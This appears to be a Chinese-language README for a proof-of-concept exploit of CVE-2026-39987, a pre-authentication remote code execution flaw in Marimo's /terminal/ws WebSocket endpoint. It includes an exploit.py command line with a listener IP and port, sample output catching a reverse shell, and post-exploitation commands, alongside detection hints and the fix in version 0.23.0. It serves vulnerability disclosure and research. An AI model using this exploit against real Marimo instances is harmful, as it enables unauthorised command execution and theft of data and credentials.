CVE-2026-39987 是一个影响 Marimo(一个响应式 Python 笔记本环境)的**严重预认证远程代码执行(RCE)**漏洞。
该漏洞存在于 Marimo 的终端 WebSocket 端点:
/terminal/ws
该端点在创建终端会话前未能正确强制实施身份验证。因此,能够访问易受攻击的 Marimo 实例的未认证远程攻击者可以建立 WebSocket 连接并获得交互式 PTY shell。
无需有效凭据。
| 属性 | 值 |
|---|---|
| CVE | CVE-2026-39987 |
| 产品 | Marimo |
| 漏洞类型 | 预认证远程代码执行 |
| 攻击向量 | 网络 |
| 身份验证 | 不需要 |
| 用户交互 | 不需要 |
| CWE | CWE-306 — 关键功能缺少身份验证 |
| 严重性 | 严重 |
| 修复版本 | 0.23.0 |
该漏洞是由于 Marimo 各 WebSocket 端点之间身份验证强制措施不一致造成的。
其他 WebSocket 功能会执行身份验证校验,而易受攻击的 /terminal/ws 端点无需先验证调用方即可接受连接。
易受攻击的终端端点在接受 WebSocket 连接后会创建一个交互式 PTY。
概念上,易受攻击的请求流程如下:
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
关键的安全边界在于缺少身份验证检查。
暴露任意命令执行能力的端点绝不能允许未认证客户端触达 PTY 创建逻辑。
成功利用后,攻击者可以以 Marimo 进程的权限执行任意命令。
根据部署配置的不同,这可能允许攻击者:
对于笔记本环境而言,该影响尤为严重,因为这类环境通常可以访问数据集、API、凭据、云资源和开发基础设施。
警告: 仅可对您拥有或明确获授权测试的系统运行 PoC。
本仓库包含一个用于在受控环境中演示该漏洞的 PoC。
以下示例演示如何对本地/实验实例进行利用。
例如:
http://127.0.0.1:8081
在启动 PoC 之前,应确保易受攻击的 Marimo 实例正在运行。
示例:
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
其中:
-u Target Marimo instance
--host Listener IP
--port Listener port
PoC 会建立易受攻击的终端连接,并等待由此产生的 shell 连接。
示例输出:
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
成功利用后,攻击者将获得一个以 Marimo 进程权限运行的 shell。
whoami
示例:
marimo
id
示例:
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
这表明任意命令正在以 marimo 账户身份被远程执行。
该 PoC 还可以演示对受入侵进程可访问文件系统的访问。
ls -la
示例:
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
切换到文件系统根目录:
cd /
ls
示例:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
这确认了远程 shell 拥有正常的文件系统访问权限,具体受 Marimo 进程的权限和容器限制约束。
完整的漏洞利用链可总结如下:
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
关键的安全失效发生在第 3 步。
潜在的利用迹象包括指向以下位置的意外 WebSocket 连接:
/terminal/ws
以及源自 Marimo 服务器的异常进程活动。
防御者应调查:
将 Marimo 升级到已修复版本:
0.23.0 or later
此外:
/terminal/ws 活动。CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
本项目仅用于安全研究、漏洞验证和教育目的。 请勿对您不拥有或未获得明确授权测试的系统使用 PoC。